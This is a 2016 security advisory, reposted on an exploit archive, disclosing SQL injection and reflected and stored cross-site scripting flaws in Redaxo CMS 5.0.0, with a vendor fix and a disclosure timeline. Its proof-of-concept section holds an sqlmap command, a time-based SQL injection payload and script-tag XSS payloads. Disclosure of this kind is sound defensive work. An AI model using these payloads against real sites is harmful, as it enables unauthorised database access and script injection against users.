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Redaxo CMS 5.0.0 Cross Site Scripting / SQL Injection

Redaxo CMS 5.0.0 Cross Site Scripting / SQL Injection
Posted Feb 16, 2016
Authored by Tim Herres | Site lsexperts.de

Redaxo CMS version 5.0.0 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 58872f982df928318a4cb6b46edbd08e6a1402810a83f6f9f3adffa56501e2dc

Redaxo CMS 5.0.0 Cross Site Scripting / SQL Injection

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=== LSE Leading Security Experts GmbH - Security Advisory 2016-01-18 ===

Redaxo CMS contains multiple vulnerabilities
-------------------------------------------------------------

Problem Overview
================
Technical Risk: high
Likelihood of Exploitation: medium
Vendor: https://www.redaxo.org/
Tested version: Redaxo CMS v5.0.0
Credits: LSE Leading Security Experts GmbH employee Tim Herres
Advisory URL: https://www.lsexperts.de/advisories/lse-2016-01-18.txt
Advisory Status: Public
CVE-Number: na

Impact
======
Redaxo is an easy to use open source content management system. A user can create his own website using the Redaxo CMS.
During internal research, multiple vulnerabilities were identified in the Redaxo CMS software.
The software is vulnerable to an SQL-Injection attack, allowing an authenticated user to access the database in an unsafe way.
Some parts of the application do not have sufficient input validation and output encoding. This means user supplied input is inserted in an unsafe way
resulting in a Cross Site Scripting vulnerability.

Issue Description
=================
The following vulnerabilities are only examples. It is highly recommended to check the whole application for similar vulnerabilities.
1) SQL Injection in the "Mediapool" component:
Authentication required: yes
User needs access to the "Mediapool".

POC:
Exploitation using SQL Map
sqlmap -u "https://127.0.0.1/redaxo/index.php?page=mediapool%2fmedia&rex_file_category=0&media_name=blub&undefined=%0d" --cookie="PHPSESSID=h9s74l660iongtg71bpkjup0d1" -p media_name

Parameter: media_name (GET)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: page=mediapool/media&rex_file_category=0&media_name=test');(SELECT * FROM (SELECT(SLEEP(5)))jbWV)#&undefined=

2) Reflected XSS
Authentication required: yes
Used browser: FF42
Example:
https://127.0.0.1/redaxo/index.php?page=mediapool/media&info=Datei+tot.<script>alert("xss");</script>&opener_input_field=

3) Stored XSS (persistent XSS)
Authentication required: yes
Used browser: FF42
It is possible to store JavaScript Code in input fields.
Example:
Menu --> "Mediapool" --> "Media Category Managing" --> Add --> Name field
Payload:<script>alert("xss")</script>
Response:
[...]
[...]href="index.php?page=mediapool/structure&cat_id=801"><script>alert("xss");</script></a></li></ol></div><section class="rex-page-sectio
[...]


Temporary Workaround and Fix
============================
Update to Version 5.0.1

History
=======
2016-01-18 Issues discovered
2016-01-29 Vendor contacted
2016-02-05 Vendor confirmed
2016-02-09 Vendor released patch
2016-02-16 Advisory released

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